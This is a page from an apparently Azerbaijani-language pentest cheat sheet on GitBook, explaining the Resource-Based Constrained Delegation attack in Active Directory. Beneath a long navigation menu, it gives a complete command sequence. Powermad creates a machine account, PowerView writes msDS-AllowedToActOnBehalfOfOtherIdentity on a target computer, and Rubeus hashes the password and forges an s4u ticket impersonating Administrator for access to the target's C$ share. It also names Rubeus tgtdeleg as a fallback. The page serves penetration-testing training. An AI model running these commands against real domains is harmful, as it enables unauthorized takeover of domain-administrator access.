Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • İstifadə Edəcəyimiz Alətlər:
  • Explotation nümunəsi

Was this helpful?

  1. AD Pentesting
  2. Domain Privilege Escalation

Resource Based Constrained Delegation

PreviousConstrained DelegationNextDNSAdmins Abuse

Last updated 1 year ago

Was this helpful?

Əgər bizim domen hesabında GenericALL/GenericWrite səlahiyyətlərimiz varsa, biz ondan sui-istifadə edə və domenin istənilən istifadəçisini təqlid edə bilərik. Məsələn, biz Domen Administratorunu təqlid edə və tam giriş əldə edə bilərik.

İstifadə Edəcəyimiz Alətlər:

Explotation nümunəsi

Powermad PowerShell MachineAccountQuota və DNS istismar üçün bir alətdir. iPowermad'i yükləmək üçün istifadə edə bilərsiniz.

#Powermad'i daxil edin və ondan yeni MAŞIN HESABI yaratmaq üçün istifadə edin
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#PowerView'u daxil edin və yeni yaradılmış maşın hesabımızın SID'i(Security Identifier) əldə edin
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Daha sonra SID'dən istifadə edərək,yeni yaradılmış maşın hesabı üçün ACE(Access Control Entry) qururuq:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Bundan sonra, PowerView'dən istifadə edərək, yenidən ələ keçirdiyimiz kompüter hesabının msDS-AllowedToActOnBehalfOfOtherIdentity sahəsində təhlükəsizlik deskriptorunu təyin etməliyik.
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#Bundan sonra Rubeus istifadə edərək yeni maşın hesabının parolunun RC4 hash-ini əldə etməliyik
Rubeus.exe hash /parol:'p@ssword!'

#Və bu misal üçün, biz Rubeus istifadə edərək hədəf kompüterin cifs xidmətində Domain Administratorunu təqlid edəcəyik.
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Nəhayət, hədəf maşının C$ sürücüsünə daxil ola bilərik
dir \\TargetMachine.wtver.domain\C$

Məhdudiyyətli (Constraint) və Resource-Based Constrained Delegation'da sui-istifadə etməyə çalışdığımız TRUSTED_TO_AUTH_FOR_DELEGATION hesabın parolu/heşi yoxdursa, biz kekeodan "tgt::deleg" və ya rubeusdan "tgtdeleg" istifadə edə bilərik. və Kerberos'u bizə bu hesab üçün etibarlı TGT vermək üçün aldada bilərik. Daha sonra hücumu həyata keçirmək üçün hesabın hash'i əvəzinə sadəcə biletdən istifadə edirik.

Rubeus.exe tgtdeleg /nowrap
PowerView
Powermad
Rubeus
Kekeo
bu keçiddən